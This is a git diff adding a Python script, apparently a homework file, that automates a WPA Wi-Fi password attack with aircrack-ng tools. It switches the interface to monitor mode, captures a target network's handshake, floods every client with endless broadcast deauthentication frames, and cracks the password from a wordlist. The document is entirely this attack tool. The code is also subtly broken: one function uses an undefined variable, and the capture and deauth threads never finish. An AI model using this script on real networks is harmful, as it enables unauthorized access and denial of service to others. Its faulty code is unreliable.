diff --git a/hw7/gpt4/app.py b/hw7/gpt4/app.py new file mode 100644 index 0000000..ca34e53 --- /dev/null +++ b/hw7/gpt4/app.py @@ -0,0 +1,67 @@ +import os +import subprocess +import threading + +def run_command(command): + """Run a shell command with sudo and return the output.""" + result = subprocess.run(['sudo'] + command, capture_output=True, text=True) + return result.stdout + +def change_mode(interface, mode): + """Change the mode of the wifi interface.""" + run_command(['ifconfig', interface, 'down']) + run_command(['iwconfig', interface, 'mode', mode]) + run_command(['ifconfig', interface, 'up']) + +def start_monitor_mode(interface): + """Start monitor mode on the specified interface.""" + run_command(['airmon-ng', 'start', interface]) + +def stop_monitor_mode(interface): + """Stop monitor mode on the specified interface.""" + run_command(['airmon-ng', 'stop', interface]) + +def capture_handshake(interface, bssid, channel): + """Capture the handshake for the specified BSSID.""" + run_command(['airodump-ng', '--bssid', bssid, '--channel', channel, '-w', 'capture', interface]) + +def deauthenticate(interface, bssid, client): + """Deauthenticate a client to capture the handshake.""" + run_command(['aireplay-ng', '--deauth', '0', '-a', bssid, '-c', client, interface]) + +def crack_password(cap_file, wordlist): + """Crack the password using aircrack-ng.""" + result = run_command(['aircrack-ng', '-w', wordlist, '-b', bssid, cap_file]) + return result + +def main(): + interface = input("Enter the name of your wifi interface: ") + bssid = input("Enter the BSSID of the target network: ") + channel = input("Enter the channel of the target network: ") + wordlist = input("Enter the path to your wordlist: ") + + # Change to monitor mode + change_mode(interface, 'monitor') + start_monitor_mode(interface) + + # Capture handshake + capture_thread = threading.Thread(target=capture_handshake, args=(interface, bssid, channel)) + capture_thread.start() + + # Deauthenticate clients + deauth_thread = threading.Thread(target=deauthenticate, args=(interface, bssid, 'FF:FF:FF:FF:FF:FF')) + deauth_thread.start() + + capture_thread.join() + deauth_thread.join() + + # Crack password + password = crack_password('capture-01.cap', wordlist) + print(f"The password is: {password}") + + # Change back to managed mode + stop_monitor_mode(interface) + change_mode(interface, 'managed') + +if __name__ == "__main__": + main()